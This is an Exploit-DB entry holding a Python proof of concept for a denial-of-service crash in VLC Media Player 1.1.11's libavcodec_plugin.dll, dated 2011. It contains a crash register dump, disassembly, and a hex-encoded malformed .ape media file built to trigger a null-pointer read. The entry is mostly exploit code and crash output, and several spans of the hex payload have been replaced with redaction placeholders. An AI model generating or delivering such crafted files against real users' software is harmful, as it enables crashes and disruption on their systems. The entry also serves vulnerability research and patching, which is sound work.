Exploit-DB #18285
Description: VideoLAN VLC Media Player 1.1.11 - libav 'libavcodec_plugin.dll' Denial of Service
Type: dos
Platform: windows
Date: 2011-12-28
Author: Mitchell Adair

Exploit:
print '\n\n########################################################'
print '# VLC (libav) libavcodec_plugin.dll DOS                #'
print '# Tested on Windows, VLC 1.1.11                        #'
print '# Author : nomnom                                      #'
print '# - shout outs to disable, jtm, welder and the csg     #'
print '########################################################\n\n'

'''
read violation on 0x00000010
libavcodec_plugin.dll:69c1c6d0 mov eax,[edx+0x10] caused access violation
when attempting to read from 0x00000010

CONTEXT DUMP
  EIP: 69c1c6d0 mov eax,[edx+0x10]
  EAX: ffffffff[PII_REDACTED]) -> N/A
  EBX: 043570c8 (  70611144) -> xD7 (heap)
  ECX: 75ff98da[PII_REDACTED]) -> N/A
  EDX: 00000000 (         0) -> N/A
  EDI: ffffffff[PII_REDACTED]) -> N/A
  ESI: 0316f93c (  51837244) -> 5<hp5|i,q5p5L(jiiXw..w6nww6..nww6@hw8.$hwv...$hwcPw!$hww.cPpewv.x6.b@|X (stack)
  EBP: 6a284ce0[PII_REDACTED]) -> l)p)d (libavcodec_plugin.dll.data)
  ESP: 0316f900 (  51837184) -> 8L(j<5<hp5|i,q5p5L(jiiXw..w6nww6..nww6@hw8.$hwv...$hwcPw!$hww (stack)
  +00: 0316f938 (  51837240) -> 5<hp5|i,q5p5L(jiiXw..w6nww6..nww6@hw8.$hwv...$hwcPw!$hww.cPpewv.x6.b@| (stack)
  +04: 02d497e0 (  47486944) -> Z:\Downloads\fuzzing\known_bad\vlc-dos.ape (heap)
  +08: 6a284ce0[PII_REDACTED]) -> l)p)d (libavcodec_plugin.dll.data)
  +0c: 0316f93c (  51837244) -> 5<hp5|i,q5p5L(jiiXw..w6nww6..nww6@hw8.$hwv...$hwcPw!$hww.cPpewv.x6.b@|X (stack)
  +10: 00000000 (         0) -> N/A
  +14: 00000000 (         0) -> N/A

disasm around:
	0x69c1c6aa mov eax,[esp+0x68]
	0x69c1c6ae lea esi,[esp+0x3c]
	0x69c1c6b2 mov [esp+0xc],esi
	0x69c1c6b6 mov [esp+0x8],ebp
	0x69c1c6ba mov [esp+0x4],eax
	0x69c1c6be lea eax,[esp+0x38]
	0x69c1c6c2 mov [esp],eax
	0x69c1c6c5 call 0x69c1c2d0
	0x69c1c6ca mov edx,[esp+0x38]
	0x69c1c6ce mov edi,eax
	0x69c1c6d0 mov eax,[edx+0x10]
	0x69c1c6d3 test eax,eax
	0x69c1c6d5 cmovne ebx,eax
	0x69c1c6d8 mov eax,[esp+0x60]
	0x69c1c6dc mov [edx+0x10],ebx
	0x69c1c6df mov [eax],edx
	0x69c1c6e1 mov [esp],esi
	0x69c1c6e4 call 0x6a247be0
	0x69c1c6e9 mov eax,edi
	0x69c1c6eb mov ebx,[esp+0x4c]
	0x69c1c6ef mov esi,[esp+0x50]

SEH unwind:
	0316ffc4 -> msvcrt.dll:76018cd5 mov edi,edi
	ffffffff -> ntdll.dll:7794e0ed mov edi,edi
'''

import binascii

# contents of the file
hexlified = '4d[PII_REDACTED][PII_REDACTED][PII_REDACTED]040000002c000000781b[PII_REDACTED][PII_REDACTED]f0d36ae208700e0b883873777a5272f5d[PII_REDACTED]00100dd[PII_REDACTED][PII_REDACTED]044ac00007c[PII_REDACTED]4646de[PII_REDACTED]5645666d[PII_REDACTED][PII_REDACTED]44ac[PII_REDACTED][PII_REDACTED]64617461ba2500001e765c5b[PII_REDACTED]05562aa8a1fa29223903ee58ed36bec6f1a127d79379040bdc83b4965c953895f22f24538c85f2fcc2732c409ccf8f6deb7f38d9f3daddd783d40c7d85439a[PII_REDACTED]61a88906d1a7688b7f063cb5152b98f8b19a8a55f61937d51f6be87107ac069b3bda37a7a87e195329ea6245c0facb7c70ec682cd96893ea78b7b4948c1c934d70d9261d44ff8bb989c1a8f6ce429b0ffc9ac595a42cf93417485f6f4979c7049f6d02c8add5a31dc71b4419752db02adcb337cdf76c769b42aef9f600d93fec5502a2fc911d35f97d62448d5b2a20e6634585ed92e8692f1d2d00906e60670b478696d0e7a43055da2edfaaf61d94d7b4f195c7a6917576d8d115314aa19c02facd2f598cb850a33be38b6904c79e997d83e6115d742d75cbe4101470bab89c20eb3f1b6e066bba5da88df31e14b9d[PII_REDACTED]37e23464c01ef8102084fad079fdf95de56575957c06025b1668fa57180b6fb495d9ba52a214a3812675fd9db5f4e7c327d9cebd376ee84576d0c3709f37c45bc781b3415dc8ac6538f14a1fde8ded60eef16efdc4590c985491052b8adc[PII_REDACTED]e28166959e1a3ccd97a7ac7d207652d0f5ac3a75c7d29e[PII_REDACTED]f8aee68a4d9734bc191b2bf0a5161346f5cdd93fdac824d88ff03c64ad0aa5cc54b9b19799b5d81d533d43ae2400a7def650057ea33e1de54e2e9dd461f947ac408844ca0b0345eaa3a3a986b6d8f41ded[PII_REDACTED]fcfeb52f54d71871db88f358c24229c60eb66b780299ee2c7a608108acfcaa1a34fac57ed906a15a28c97ecd701e8cc97b609eb29c6f96b8f15a8ed317e920e22df5b44521509cafc5c8f806386f27a06ab6c1a0ccb6dfe167f0750ebbbfc244225376f0720e664ee35a3a2bace5178e5a21b1c873014c0076942e6288428a8bbf31c6665142db29bd[PII_REDACTED]6005a1800f70aff4920af03b141ff17c73b92a03579e12f465ce6e49b082550a9b51b21f9b4bf0985909bc2a2694e55bb9edea1d501c5c50417ffafe4766afbb3b6d3adc82c38f40d52991ec384022f08e324d8ccda865c4ea06725e3390cf23380606faa5f778cb236b459cbb73f5aa4d10142fb4756492a19ae38ca220b1ac27b358b18147675a4b2b6350c6b1a76531c06e71de751cd3f71a2196e97651aa85e034e11a85ad34ef258ac61ae5096a81bc05f615ef185e7ef3925305d6f8e38c03aad23fb0da30ffe354551e19407c9ad2cf786273f860e8476f3cbd93bed4f620ce8341c12e[PII_REDACTED]f060f2deb9cd3240271d19552063ce14fa8bb46cb535313d3327b2c05d817b559fd4f827938f97a2a775bff027436bfda12ef35f5b9cdd7edfd10ce29765608b71545f6b4dbf0f356f854b6655f33a85f3f0c8a9ef8c7954c8ddb084a835d67059f3262e36455be0adc3b21bec5bcd46fea04803c09d8299b349e07df517f9ab2543b0d8d72b4250196e1bcc9bcb2e244f724e9784826da664e7dc47fa5cfb674f862ec9b4b22f64c4c75bb629cd47a2995b7839ffd8d0ceedaaba8d35d3727aeac7700c95dff06b68f5588a736a896f4c262d[PII_REDACTED]5595ba425857ada588a8c6ccf4cb008137ec80f1fb73eff634a4c8393ef34361d4ddb65f838c0d6f474fd1bb5c97a50a1f790bbad689285ae7d66e64b47bf5ea08a1fbed95a59f7df44af59530161a9e1d31acb7f98e449c6a816b4ecc42e0fe96853c1e13cf979eb2f8791fa5e5bbecaa7491e0fcdea9a[PII_REDACTED]0ab890dc6b12dca3f5b77965385e4ebdffe875b739390c4fc[PII_REDACTED]10bcd8b9ff45ca8a64e5a48340feb2ffb825a2dc0775a5752519e50f49addfbdd253821a993b7820ea59d37692c1a6e9aeee360e6d72ed3b7428cd62369e48aa44e9920be49645f56c50ba7074289e5cd7f19d3fe63060ca1e172ea2529f5d3ea8926ef52b4cbab8d36d26bd9c1b70b19ec120d2821fb017060d3dde073540dd86c2cf292966c3b2fe9b7e88d76c98a0ff4e2c64fc3ee9f1bdd95fc[PII_REDACTED]4e2b824ec51232bf53aa872776f0187914f5231e79cf70d0f3e5c42b40e03d3f28c06c3ec097f501ec25cdcbb2d5a82d7586b5782a661b420bbdc49410145e8b14a214513e94c34a7322dc5e2a1558b125d09eba9d[PII_REDACTED]b7cde06ddb45841943b7bdb057f3c4f3f47e3f256285cbbc2a4e71e860ac1c6cf4620ee12d81a91beadad5ede2275ec9ae0d70b67603f8fc6680823ff15d97aba80c4bb4f6a805c572e66d8db354575daac7f8d154faffc498ff8b8f5a8dd4121a7ab34c1ea[PII_REDACTED]c2d50ee4cd42829a834911e8b56ad445c5471a0c66ea2eb3b975d1ae61401f61fc26466c890507c[PII_REDACTED]fd2fea661df560c7a2fbd44ea6802fb11d76